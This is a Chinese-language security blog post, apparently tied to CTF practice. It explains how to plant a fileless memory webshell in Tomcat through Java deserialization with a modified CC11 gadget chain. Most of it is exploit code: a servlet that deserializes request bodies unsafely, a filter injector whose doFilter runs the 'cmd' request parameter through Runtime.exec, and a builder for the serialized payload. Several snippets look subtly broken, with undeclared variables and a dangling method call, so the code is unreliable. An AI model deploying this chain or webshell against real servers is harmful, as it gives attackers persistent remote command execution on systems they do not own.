Java 反序列化打内存马
Java 反序列化打内存马
0x01 前言
其实这篇文章早就该写了,只是因为自己一些个人原因和犯懒癌一直搁置,最近要开始了。
- 当然看这道题目的最主要原因是因为内存马的应用面太广了,很多不出网的场景、以及攻防的场景都可以用到。
像之前的文章,Tomcat 的三种内存马,实际上都只是一种简单的实验,而非完全能够应用,就算应用起来也是有文件落地现象的,这并非是真正的内存马。
而且在之前 2022 祥云杯上,也出了一道 Java CC4 链的不出网写内存马的题目,处于相当好奇的原因,写下了这篇文章。
所以在这篇文章中,我们来学习利用反序列化来实现真正意义上的内存马的注入,本文中会结合 cc11 来进行内存马注入,这样可以实现真正的文件不落地,在上文利用 jsp 注入的时候由于 request 和 response 是 jsp 的内置对象,所以在回显问题上不用考虑,但是当我们结合反序列化进行注入的时候这些都成了需要考量的地方,这也是本文学习的一个点
0x02 回显问题
已总结在本文中,不再赘述
https://drun1baby.github.io/2022/11/30/Java-%E5%9B%9E%E6%98%BE%E6%8A%80%E6%9C%AF/
0x03 反序列化打内存马
半通用回显 Tomcat 打内存马
这里要用 web-app 的项目,并且用低版本的 Tomcat
先写一个 servlet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.io.ObjectInputStream; @WebServlet("/cc") public class CCServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException { InputStream inputStream = (InputStream) req; ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); try { objectInputStream.readObject(); } catch (ClassNotFoundException e) { e.printStackTrace(); } resp.getWriter().write("Success"); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException { InputStream inputStream = req.getInputStream(); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); try { objectInputStream.readObject(); } catch (ClassNotFoundException e) { e.printStackTrace(); } resp.getWriter().write("Success"); } }
|
接着,实现 Kingkk 师傅提出来的 Tomcat 半通用回显。这一步在 Java 回显技术的文章里面已经讲的比较清楚了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| package EXP; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.lang.reflect.Modifier; public class TomcatEcho extends AbstractTranslet { static { try { java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT"); java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); f.setAccessible(true); if (!f.getBoolean(null)) { f.setBoolean(null, true); } f = c.getDeclaredField("lastServicedRequest"); modifiersField = f.getClass().getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL); f.setAccessible(true); if (f.get(null) == null) { f.set(null, new ThreadLocal()); } f = c.getDeclaredField("lastServicedResponse"); modifiersField = f.getClass().getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL); f.setAccessible(true); if (f.get(null) == null) { f.set(null, new ThreadLocal()); } } catch (Exception e) { e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
|
然后是取出 request 和 response 并注入 filter,和之前 filter 内存马的写法有很多相似之处。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200
| package EXP; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.LifecycleState; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.Method; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.ServletContext; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse;
public class TomcatInject extends AbstractTranslet implements Filter {
private final String cmdParamName = "cmd"; private final static String filterUrlPattern = "/*"; private final static String filterName = "Drunkbaby"; static { try { ServletContext servletContext = getServletContext(); if (servletContext != null){ Field ctx = servletContext.getClass().getDeclaredField("context"); ctx.setAccessible(true); ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext); Field stdctx = appctx.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(appctx); if (standardContext != null){ Field stateField = org.apache.catalina.util.LifecycleBase.class .getDeclaredField("state"); stateField.setAccessible(true); stateField.set(standardContext, LifecycleState.STARTING_PREP); Filter myFilter =new TomcatInject(); servletContext.addFilter(filterName,myFilter); filterRegistration.setInitParameter("encoding", "utf-8"); filterRegistration.setAsyncSupported(false); .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"}); if (stateField != null){ stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED); } filterStartMethod.setAccessible(true); filterStartMethod.invoke(standardContext,null);
Class ccc = null; try { ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); } catch (Throwable t){} if (ccc == null) { try { ccc = Class.forName("org.apache.catalina.deploy.FilterMap"); } catch (Throwable t){} } Method m = Class.forName("org.apache.catalina.core.StandardContext") .getDeclaredMethod("findFilterMaps"); Object[] filterMaps = (Object[]) m.invoke(standardContext); Object[] tmpFilterMaps = new Object[filterMaps.length]; int index = 1; for (int i = 0; i < filterMaps.length; i++) { Object o = filterMaps[i]; m = ccc.getMethod("getFilterName"); String name = (String) m.invoke(o); if (name.equalsIgnoreCase(filterName)) { tmpFilterMaps[0] = o; } else { tmpFilterMaps[index++] = filterMaps[i]; } } for (int i = 0; i < filterMaps.length; i++) { filterMaps[i] = tmpFilterMaps[i]; } } } } } catch (Exception e) { e.printStackTrace(); } } private static ServletContext getServletContext() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException { ServletRequest servletRequest = null; Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain"); java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest"); f.setAccessible(true); ThreadLocal threadLocal = (ThreadLocal) f.get(null); if (threadLocal != null && threadLocal.get() != null) { servletRequest = (ServletRequest) threadLocal.get(); } if (servletRequest == null) { try { c = Class.forName("org.springframework.web.context.request.RequestContextHolder"); Method m = c.getMethod("getRequestAttributes"); Object o = m.invoke(null); c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes"); m = c.getMethod("getRequest"); servletRequest = (ServletRequest) m.invoke(o); } catch (Throwable t) {} } if (servletRequest != null) return servletRequest.getServletContext(); try { c = Class.forName("org.springframework.web.context.ContextLoader"); Method m = c.getMethod("getCurrentWebApplicationContext"); Object o = m.invoke(null); c = Class.forName("org.springframework.web.context.WebApplicationContext"); m = c.getMethod("getServletContext"); ServletContext servletContext = (ServletContext) m.invoke(o); return servletContext; } catch (Throwable t) {} return null; } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println( "TomcatShellInject doFilter....................................................................."); String cmd; if ((cmd = servletRequest.getParameter(cmdParamName)) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest, servletResponse); } @Override public void destroy() { } }
|
如此一来,我们接下来只需要注入即可,这点在 《Java 回显技术》一文当中我也有提到过,必须是要通过动态加载字节码的形式,才可以打,所以这里我们用魔改的 CC11 链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102
| package EXP; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; @SuppressWarnings("all") public class CC11Template { public static void main(String[] args) throws Exception { byte[] bytes = getBytes(); byte[][] targetByteCodes = new byte[][]{bytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); Field f0 = templates.getClass().getDeclaredField("_bytecodes"); f0.setAccessible(true); f0.set(templates,targetByteCodes); f0 = templates.getClass().getDeclaredField("_name"); f0.setAccessible(true); f0.set(templates,"name"); f0 = templates.getClass().getDeclaredField("_class"); f0.setAccessible(true); f0.set(templates,null); InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]); HashMap innermap = new HashMap(); LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer); TiedMapEntry tiedmap = new TiedMapEntry(map,templates); HashSet hashset = new HashSet(1); hashset.add("foo"); try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); } f.setAccessible(true); HashMap hashset_map = (HashMap) f.get(hashset); Field f2 = null; try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData"); } f2.setAccessible(true); Object[] array = (Object[])f2.get(hashset_map); Object node = array[0]; if(node == null){ node = array[1]; } Field keyField = null; try{ keyField = node.getClass().getDeclaredField("key"); }catch(Exception e){ keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); } keyField.setAccessible(true); keyField.set(node,tiedmap); Field f3 = transformer.getClass().getDeclaredField("iMethodName"); f3.setAccessible(true); f3.set(transformer,"newTransformer"); try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step2.ser")); outputStream.writeObject(hashset); outputStream.close(); }catch(Exception e){ e.printStackTrace(); } } public static byte[] getBytes() throws IOException { InputStream inputStream = new FileInputStream(new File("E://TomcatInject.class")); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); int n = 0; while ((n=inputStream.read())!=-1){ byteArrayOutputStream.write(n); } byte[] bytes = byteArrayOutputStream.toByteArray(); return bytes; } }
|
接连注入即可,这里因为代码我们可以直接注入 .ser
序列化的文件,如果是要输入 string,简单把 .ser
文件 base64 一下即可。
- 这一种反序列化打内存马的方式缺陷也很明显,就是像 shiro 这些自带 Filter 的无法打通,所以如果是 shiro550 打内存马,需要用 《Java 回显技术》的第三种方法,获取全局 response,并且根据 Tomcat 版本打。
内存马打 shiro550
通过全局存储 Response 回显来打
这里直接借用了木爷的工具 https://github.com/KpLi0rn/ShiroVulnEnv
0x04 改写 ysoserial 增加内存马等功能
后续会再专门写一篇关于改写 yso 的文章,再说吧(咕咕咕